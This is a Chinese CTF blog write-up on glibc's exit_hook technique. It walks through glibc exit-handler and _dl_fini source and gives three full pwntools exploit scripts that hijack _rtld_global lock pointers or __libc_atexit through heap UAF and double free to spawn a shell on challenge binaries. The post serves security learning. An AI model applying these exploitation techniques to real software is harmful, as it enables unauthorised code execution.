exit_hook
196082 慢慢好起来

众所周知的俩hook在glibc2.34移除了,不过exit_hook好像在这个版本的glibc表现得也不是很佳,不过在近期遇到的两道题目都需要用到这方面的知识所以来补了。

exit_hook

首先呢,程序正常退出以及使用exit函数都会调用exit所以不仅限于存在exit的题目适合

源码分析

1
2
3
4
5
6
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)

exit函数就只是单纯的调用了另一个函数,重点还是在另一个函数上面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();

/* We do it this way to handle recursive calls to exit () made by
the functions registered with `atexit' and `on_exit'. We call
everyone on the list and use the status value in the last
exit (). */
while (true)
{
struct exit_function_list *cur;

__libc_lock_lock (__exit_funcs_lock);

restart:
cur = *listp;

if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
__libc_lock_unlock (__exit_funcs_lock);
break;
}

while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;

/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);

case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (onfct);
#endif
onfct (status, f->func.on.arg);
break;
case ef_at:
atfct = f->func.at;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (atfct);
#endif
atfct ();
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (cxafct);
#endif
cxafct (f->func.cxa.arg, status);
break;
}
/* Re-lock again before looking at global state. */
__libc_lock_lock (__exit_funcs_lock);

if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}

*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);

__libc_lock_unlock (__exit_funcs_lock);
}

if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());

_exit (status);
}

这里先将源码放在这里,因为但看源码看不出什么

image-20220616184018220

但是通过调试可以看到这里是调用了_dl_fini函数,而这个函数在house of banana中提到过并且适用libc的版本还挺高在glibc2.34都是可以使用的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
void
_dl_fini (void)
{
/* Lots of fun ahead. We have to call the destructors for all still
loaded objects, in all namespaces. The problem is that the ELF
specification now demands that dependencies between the modules
are taken into account. I.e., the destructor for a module is
called before the ones for any of its dependencies.

To make things more complicated, we cannot simply use the reverse
order of the constructors. Since the user might have loaded objects
using `dlopen' there are possibly several other modules with its
dependencies to be taken into account. Therefore we have to start
determining the order of the modules once again from the beginning. */

/* We run the destructors of the main namespaces last. As for the
other namespaces, we pick run the destructors in them in reverse
order of the namespace ID. */
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));

unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
else
{
/* Now we can allocate an array to hold all the pointers and
copy the pointers in. */
struct link_map *maps[nloaded];

unsigned int i;
struct link_map *l;
assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* Do not handle ld.so in secondary namespaces. */
if (l == l->l_real)
{
assert (i < nloaded);

maps[i] = l;
l->l_idx = i;
++i;

/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
unsigned int nmaps = i;

/* Now we have to do the sorting. We can skip looking for the
binary itself which is at the front of the search list for
the main namespace. */
_dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
NULL, true);

/* We do not rely on the linked list of loaded object anymore
from this point on. We have our own list here (maps). The
various members of this list cannot vanish since the open
count is too high and will be decremented in this loop. So
we release the lock so that some code which might be called
from a destructor can directly or indirectly access the
lock. */
__rtld_lock_unlock_recursive (GL(dl_load_lock));

/* 'maps' now contains the objects in the right order. Now
call the destructors. We have to process this array from
the front. */
for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i];

if (l->l_init_called)
{
/* Make sure nothing happens if we are called twice. */
l->l_init_called = 0;

/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| l->l_info[DT_FINI] != NULL)
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);

/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}

/* Next try the old-style destructor. */
if (l->l_info[DT_FINI] != NULL)
DL_CALL_DT_FINI
(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
}

#ifdef SHARED
/* Auditing checkpoint: another object closed. */
if (!do_audit && __builtin_expect (GLRO(dl_naudit) > 0, 0))
{
struct audit_ifaces *afct = GLRO(dl_audit);
for (unsigned int cnt = 0; cnt < GLRO(dl_naudit); ++cnt)
{
if (afct->objclose != NULL)
{
struct auditstate *state
= link_map_audit_state (l, cnt);
/* Return value is ignored. */
(void) afct->objclose (&state->cookie);
}
afct = afct->next;
}
}
#endif
}

/* Correct the previous increment. */
--l->l_direct_opencount;
}
}
}

#ifdef SHARED
if (! do_audit && GLRO(dl_naudit) > 0)
{
do_audit = 1;
goto again;
}

if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_STATISTICS))
_dl_debug_printf ("\nruntime linker statistics:\n"
" final number of relocations: %lu\n"
"final number of relocations from cache: %lu\n",
GL(dl_num_relocations),
GL(dl_num_cache_relocations));
#endif
}

上面就是_dl_fini函数,这次重点关注的是这一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));

unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
... ...
}

下面给出两种函数的定义

1
2
3
4
5
6
7
# define __rtld_lock_lock_recursive(NAME) \
GL(dl_rtld_lock_recursive) (&(NAME).mutex)

# define __rtld_lock_unlock_recursive(NAME) \
GL(dl_rtld_unlock_recursive) (&(NAME).mutex)

# define GL(name) _rtld_global._##name

可以看出来这里是将_rtld_global当中的属性当作函数来进行调用的

image-20220616185021145

然而这俩属性也就是俩指针,所以我们可以修改这个指针到system,接着就是构造参数了。根据上面的调用关系可以看到最后的参数其实是

image-20220616185259054

以上其实就是exit_hook的全部了,很简单。

新的发现

1
2
3
4
5
6
7
{
... ...
if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());

_exit (status);
}

在上面的__run_exit_handlers 函数当中存在以上代码

1
2
3
4
5
6
7
# define RUN_HOOK(NAME, ARGS)						      \
do { \
void *const *ptr; \
for (ptr = (void *const *) symbol_set_first_element (NAME); \
! symbol_set_end_p (NAME, ptr); ++ptr) \
(*(__##NAME##_hook_function_t *) *ptr) ARGS; \
} while (0)

跟进发现是可以循环执行内容的一个函数,所以这里如果可以修改掉__libc_atexit就可以getshell。

然后实际的做题过程中会发现并没有__libc_atexit这个符号,因为这不是一个全局变量,所以是找不到的,但是通过汇编分析

image-20220616192546678

可以发现是这条语句在调用hook

image-20220616192609058

在最后的实际调用也可以看到确实是这样的,这里的rbx也就是上面的__libc_atexit指针。

总结以上利用方式

在最后总结一下以上两种利用方式,第一种利用方式的攻击层面其实是发生在ld层面的,所以也就存在了一些奇奇怪怪的因素(至少当初写house of banana总是会出现)但是这一种利用方式是可以我们控制其参数的。第二种利用方式就发生在libc层面了,所以我们修改起来也就更加的得心应手一点,不过坏处就是我们没法控制其参数。

一次awd训练的pwn

题目的漏洞很明显,在delete函数存在UAF,并且在edit函数存在堆溢出,不过恶心的是没有show函数并且题目使用的输出函数都是write导致我们没法使用_IO_FILE来进行泄漏,虽然glibc的版本是2.27但是malloc_hook和free_hook初始值都是0没法进行partial write所以这里就需要使用到exit_hook了。

这里因为漏洞点很简单就不一步一步分析了,就是实现unsored bin和tcache中存在同一使用的chunk,进行partial write达成以下情况

image-20220617141940026

然后利用同样的方法修改掉他的参数也就是_rtld_global._dl_load_lock.mutex 的值为/bin/sh\x00即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

elf = ELF("./pwn")
libc = ELF('./libc-2.27.so')

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'


def create(size, data=b'\n'):
r.recvuntil(b'Your choice :')
r.sendline(b'1')
r.recvuntil(b'Size: ')
r.sendline(bytes(str(size), encoding='utf-8'))
r.recvuntil(b'Data: ')
r.send(data)


def delete(idx):
r.recvuntil(b'Your choice :')
r.sendline(b'2')
r.recvuntil(b'Index: ')
r.sendline(bytes(str(idx), encoding='utf-8'))


def edit(idx, size, data):
r.recvuntil(b'Your choice :')
r.sendline(b'3')
r.recvuntil(b'Index: ')
r.sendline(bytes(str(idx), encoding='utf-8'))
r.recvuntil(b'Size: ')
r.sendline(bytes(str(size), encoding='utf-8'))
r.recvuntil(b'Data: ')
r.send(data)


exit_hook = 0x62af60

while 1:
r = process('./pwn')
try:
# r = process('./pwn')
create(0x100)
create(0x100)
for i in range(8):
edit(0, 16, flat(0, 0))
delete(0)
create(0x80, b'\x60\xaf\x82')
create(0x100)
create(0x100, b'\x20\xf4\x24')

create(0x110)
create(0x110)
for i in range(8):
edit(5, 16, flat(0, 0))
delete(5)
create(0x90, b'\x68\xa9\x82')
create(0x110)
create(0x110, b'/bin/sh\x00')
r.recvuntil(b'Your choice :')
# gdb.attach(r)
r.sendline(b'4')
r.interactive()
except:
r.close()

国赛newest_note

这道题目其实存在一个非常明显,可惜当时我没有发现的漏洞

1
2
dword_4198 = input_int();
chunk_arr = malloc(8 * dword_4198);

也就是在开始的时候可以创建任意大小的chunk,所以可以直接泄露地址,不过即便是没注意到这个漏洞也是可以做题的,不过因为没有接触过exit_hook所以我当时的思路是劫持栈进行ROP,后面发现实现不了。

在不用mmap生成chunk泄露的情况下

在glibc-2.27_ubuntu1.2_amd64之后tcache就存在double free的检测了,结合题目这里是没法直接在tcache当中进行double free的,所以我们只能将double free发生在fastbin当中

解题思路

使用这种方法其实是比较麻烦的,首先将tcache占满,那么下一次释放的chunk会进入fastbin,然后create一个chunk,拿出tcache中的一个chunk,接着再释放一次fastbin当中的chunk,就达到了在tcacheh和fastbin当中存在同一个chunk的情况了,接着伪造fastbin,利用fastbin_reverse_into_tcache将伪造的链放入tcache即可进一步利用了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *

elf = ELF('./newest_note')
r = process('./newest_note')
libc = ELF('./libc.so.6')

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']


def create(idx, content):
r.recvuntil(b'4. Exit')
r.sendline(b'1')
r.recvuntil(b'Index: ')
r.sendline(bytes(str(idx), encoding='utf-8'))
r.recvuntil(b'Content: ')
r.send(content)


def delete(idx):
r.recvuntil(b'4. Exit')
r.sendline(b'2')
r.recvuntil(b'Index: ')
r.sendline(bytes(str(idx), encoding='utf-8'))


def show(idx):
r.recvuntil(b'4. Exit')
r.sendline(b'3')
r.recvuntil(b'Index: ')
r.sendline(bytes(str(idx), encoding='utf-8'))


def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)


r.recvuntil(b'How many pages your notebook will be? :')
r.sendline(b'45')

for i in range(19):
create(i, b'\x00' * 8 + b'\n')
for i in range(8):
delete(i)
create(8, b'\x00' * 8 + b'\n')
delete(7)

show(0)
r.recvuntil(b'Content: ')
heap_base = u64(r.recv(5).ljust(8, b'\x00')) << 12
print('heap_base=>', hex(heap_base))
print(hex((heap_base + 0x610) >> 12))
key = heap_base >> 12

create(18, p64(key ^ (heap_base + 0x560)))
create(19, b'a' * 0x20 + p64(key ^ (heap_base + 0x480)))
create(19, b'\n')
create(19, b'\n')
create(19, p64(key ^ (heap_base + 0x460)))
create(19, b'a' * 0x20 + p64(key ^ (heap_base + 0x420)))
create(19, b'a' * 0x20 + p64(key))
create(20, b'\n')
create(21, b'a' * 0x10 + p64(0) + p64(0x441))

delete(1)
show(1)
r.recvuntil(b'Content: ')
libc_base = u64(r.recv(6).ljust(8, b'\x00')) - 0x218cc0
print(hex(libc_base))
'''
0xeeccc execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xeeccf execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xeecd2 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
one_gadget = libc_base + 0xeeccc
libc_atexit = libc_base + 0x21a6c8 - 8
create(30, b'a' * 0x20 + p64(libc_atexit ^ key))
create(31, b'\n')
create(32, p64(0) + p64(one_gadget))

r.recvuntil(b'4. Exit')
gdb.attach(
r,
'b*$rebase(0x169A)\nb _int_malloc\ndir /ctf/work/download/glibc-2.34/malloc'
)
r.sendline(b'4')

r.interactive()

在mmap生成chunk的情况下

解题思路

在这个情况下其实就更加简单了,因为这里直接泄露了libc地址,所以我们不需要想上面那样构造fake tcache,我们只需要拿到double free即可,这里因为可以直接少用一次free所以我们可以直接在fastbin当中进行double free。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

elf = ELF('./newest_note')
r = process('./newest_note')
libc = ELF('./libc.so.6')

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']


def create(idx, content):
r.recvuntil(b'4. Exit')
r.sendline(b'1')
r.recvuntil(b'Index: ')
r.sendline(bytes(str(idx), encoding='utf-8'))
r.recvuntil(b'Content: ')
r.send(content)


def delete(idx):
r.recvuntil(b'4. Exit')
r.sendline(b'2')
r.recvuntil(b'Index: ')
r.sendline(bytes(str(idx), encoding='utf-8'))


def show(idx):
r.recvuntil(b'4. Exit')
r.sendline(b'3')
r.recvuntil(b'Index: ')
r.sendline(bytes(str(idx), encoding='utf-8'))


def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)


r.recvuntil(b'How many pages your notebook will be? :')
r.sendline(bytes(str(0x40040000), encoding='utf-8'))
show(0x8339a)
r.recvuntil(b'Content: ')
libc_base = u64(r.recv(6).ljust(8, b'\x00')) - 0x218cc0
print(hex(libc_base))

for i in range(9):
create(i, b'\n')
for i in range(8):
delete(i)
delete(8)
delete(7)
show(0)
r.recvuntil(b'Content: ')
key = u64(r.recv(5).ljust(8, b'\x00'))
print(hex(key))
for i in range(7):
create(i, b'\n')
one_gadget = libc_base + 0xeeccc
libc_atexit = libc_base + 0x21a6c8 - 8
create(7, p64(libc_atexit ^ key))
create(8, b'\n')
create(8, b'\n')
create(9, p64(0) + p64(one_gadget))

r.recvuntil(b'4. Exit')
gdb.attach(
r,
'b*$rebase(0x169A)\nb _int_malloc\ndir /ctf/work/download/glibc-2.34/malloc'
)
r.sendline(b'4')

r.interactive()

总结

这里从源码层面解释了两种exit_hook,并且在例题中两种方式都是使用了,国赛的这道题目是很简单的,我也想到第一种方法了,不过就是因为存在知识点的遗漏导致没做出来,也是在看了wp之后才了解了exit_hook,所以基础知识还是很重要不然思路会受到限制。第一道例题如果有需要可以评论。

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量